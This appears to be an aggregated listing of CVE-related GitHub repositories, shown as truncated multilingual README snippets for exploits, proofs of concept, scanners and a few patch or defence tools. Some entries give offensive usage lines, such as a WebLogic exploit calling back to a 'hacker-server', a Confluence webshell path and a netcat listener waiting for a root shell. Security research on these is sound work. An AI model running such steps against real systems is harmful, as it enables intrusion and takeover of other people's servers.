iconvfix

iconvfix CVE-2024-2961 パッチ適用用 Bash スクリプト 現在は Centos7 で動作します。無保証です。本番環境では使用しないでください。これは単なる内部用のヘルパースクリプトです : 使い方 tsh ssh username@target sudo 'bash -s' iconvfix.sh...

OgnlContentTypeRejectorValve

OgnlContentTypeRejectorValva 这是用于Tomcat7的Valve，用于阻止Struts2远程代码执行漏洞（CVE-2017-5638）。...

CVE-2026-25747

LevelDB 反序列化漏洞复现工具 本项目演示了 Apache Camel 的 LevelDB 聚合仓库（Aggregation Repository）中存在的 Java 反序列化漏洞 ，该漏洞类似于 CVE-2024-23114 （该漏洞影响了 Cassandra 聚合仓库）。 漏洞概要 属性| 值 ---|--- 组件| camel-leveldb 受影响类| DefaultLevelDBSerializer.java 漏洞方法| deserializeKey、deserializeExchange CWE| CWE-502：不可信数据反序列化 影响| 远程代码执行 RCE...

CVE-2024-4577

スキャンするファイルをurls.txtに入れて、そのままPOC.pyを実行してください コマンド実行にはEXP.pyを使用します...

CVE-2021-41182-Tester

このリポジトリには README がありません。...

CVE-2026-78424

creationtimestamp| type| source ---|---|--- 2026-09-17 16:00:04+00:00| seen| https://t.me/techb0ltGenona/7003 2026-09-18 00:00:05+00:00| seen| https://t.me/techb0ltGenona/7003...

CVE-2017-11882-reproduction

このリポジトリには README がありません。...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

Windows-ZTE-Loader

Windows-ZTE-Loader Windows ZTE Loader CVE-2014-2321 Requiere ZMAP para Windows o BigEar La aplicación funciona manejando la salida de un escaneo en ejecución a través de zmap o bigear, esa salida se canaliza a la aplicación zte; consulte la documentación de su sistema operativo sobre cómo canaliz...

Bash-Script-CVE-2018-16763

此存储库没有 README。...

Confluence-EvilJar

aaaademo/Confluence-EvilJar CVE-2023-22515 と組み合わせ、管理バックエンドから jar パッケージをアップロードして RCE を実現する root@kitploit: git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell root@kitploit: http://confluence.local/plugins/servlet/testbin/cmServlet 哥斯拉webshell接続方法...

CVE-2024-21626-old-docker-versions

古い runc コンポーネントにおけるコンテナエスケープの脆弱性 CVE-2024-21626 CVE-2024-21626 の分析中に、他の古い Docker コンポーネントが fd リーク に対して脆弱であることを発見しました（これは セキュリティアドバイザリ GHSA-xr7r-f8xq-vfvv では言及されていません）。詳細な説明はこちらの完全な記事をお読みください。 1. 環境のセットアップ 🔨 A. Ubuntu 18.04.6 LTS Bionic Beaver のダウンロードとインストール...

CVE-2016-2468

このリポジトリには README がありません。...

vBulletin-CVE-2025-48828-Multi-target

💥 Scanner de Ejecución Remota de Código en vBulletin replaceAdTemplate Esta herramienta Python automatiza la detección de vulnerabilidades RCE sin autenticación en vBulletin a través del vector de explotación replaceAdTemplate. Basada en la prueba de concepto original de EgiX , esta versión sopor...

trivy-action

Trivy Action GitHub Action for Trivy Table of Contents Usage Scan CI Pipeline Scan CI Pipeline w/ Trivy Config Cache Trivy Setup Scanning a Tarball Using Trivy with templates Using Trivy with GitHub Code Scanning...

CVE-2011-3368

このリポジトリには README がありません。...

Log4j-JNDIServer

Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...

CVE-2024-48990-Exploit

CVE-2024-48990 エクスプロイト このN-dayを再発見し、独自のエクスプロイトを作成するに至った過程の詳細な記事は、私のブログに掲載しています。 基本的には、攻撃者が管理するディレクトリにこのリポジトリをgit cloneし、export PYTHONPATH= を実行し、その PYTHONPATH の値を設定した状態で main.py を実行します。その後、127.0.0.1:1337 で netcat リスナーを起動し、cron job またはシステム管理者がシステム上で sudo apt install を実行するのを待つと、リスナーに root シェルが表示されます...

hatiyar

Hatiyar ペネトレーションテスト、脆弱性評価、セキュリティ研究のためのモダンなセキュリティツールキット。 ⚠️ 重要: Hatiyarは教育、研究、および防御的なセキュリティ目的のみ に使用することを意図しています。 自分が所有していない、または明示的な書面による許可を得ていないシステムでこのソフトウェアを使用しないでください 。誤用は民事上または刑事上の責任を引き起こす可能性があります。 クイックデモ 概要 Hatiyar は、ペネトレーションテスト、脆弱性評価、セキュリティ研究のために設計されたセキュリティツールキットです。 次の機能を提供します: 対話型CLI（REPL） -...

ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC これは https://github.com/hook-s3c/CVE-2018-11776-Python-PoC に基づいています。コンテナのビルドと指示がREADMEに記載されている通りに動作しなかったため、このフォークが作成されました。使用されているPOCエクスプロイトはRapid7からのものです。 謝辞: hook-s3c github.com/hook-s3c, @hooks3c on twitter Rapid7...